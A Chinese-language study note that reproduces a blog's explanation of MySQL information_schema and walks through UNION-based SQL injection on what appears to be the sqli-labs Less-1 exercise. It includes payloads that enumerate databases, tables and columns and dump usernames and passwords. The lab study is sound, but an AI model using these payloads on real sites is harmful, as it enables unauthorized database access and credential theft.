整理人:木头
第一次整理日期:2019.04.05
最后整理日期:2019.05.27
首先 插入个博客(csdn)
https://blog.csdn.net/slip_666/article/details/79039742
//里面有具体的information_schema数据库的结构描述以及如何sql注入的简单总结
直接copy过来 方便查看 //注明了出处 不算侵权吧 Ok,copy如下
-----------------------------------------------------------------
1.MySQL相关:
在MySQL 5+版本后,加入了information_schema这个库,该库存放了所有数据库的信息
information_schema.columns包含所有表的字段
字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
字段
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
字段
schema_name 数据库名
2.有回显的SQL注入:
执行SQL查询,其结果能回显到页面中,那么可直接进行有回显的SQL注入
查询语句
$id=$_GET['id'];
SELECT * FROM test WHERE id='$id' LIMIT 0,1;
判断字段数
?id=1' ORDER BY 3--+
判断显示位
?id=-1' UNION SELECT 1,2,3--+
利用函数获得信息
?id=-1 UNION SELECT 1,(version()),3--+
爆库
?id=-1' UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--+ //用LIMIT来定位查询,一个一个爆数据库
?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+ //用group_concat()实现一个显示位爆出该字段下所有记录
爆表
?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--+
爆字段
?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--+
爆数据
?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--+
---------------------
作者:斯利普
来源:CSDN
原文:https://blog.csdn.net/slip_666/article/details/79039742
版权声明:本文为博主原创文章,转载请附上博文链接!
------------------------------------------
然后sql注入第一题题解
1.在url后加入 ?id=1
然后 加一个 '
提交到 sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1
报错了,即存在sql注入
如何把多的单引号去掉呢
尝试 'or 1=1--+
此时sql语句就成了select ******where id='1'or 1=1--+'limit 0,1
从源代码中狗造成的sql语句为SELECT * FROM users WHERE id=’1’or 1=1--+ LIMIT 0,1
结果显示正常
2.利用order by //order by对前面的数据进行排序 (这里有三列数据,超过3即会报错)
//?id=1'order by 4--+ 报错
//即证明有三个字段
3.然后 union联合注入
//?id=-1'union select 1,2,3 --+
//介绍下此外,此处介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union
可以从下面的例子中可以看出,强调一点:
union 前后的两个 sql 语句的选择列数要相同才可以。
Union all 与 union 的区别是增加了去重的功能。
我们这里根据上述 background 的知识,进行information_schema 知识的应用。
http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2--+
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,
当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)
此处前台页面返回了我们构造的 union 的数据。
4.爆数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1
5.爆security数据表
? id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1
6.爆users表的列
? id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’--+ LIMIT 0,1
7.爆数据
?id=-1'union select 1,username,password from users where id=2--+
此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,username,password from users where id=2--+ LIMIT 0,1s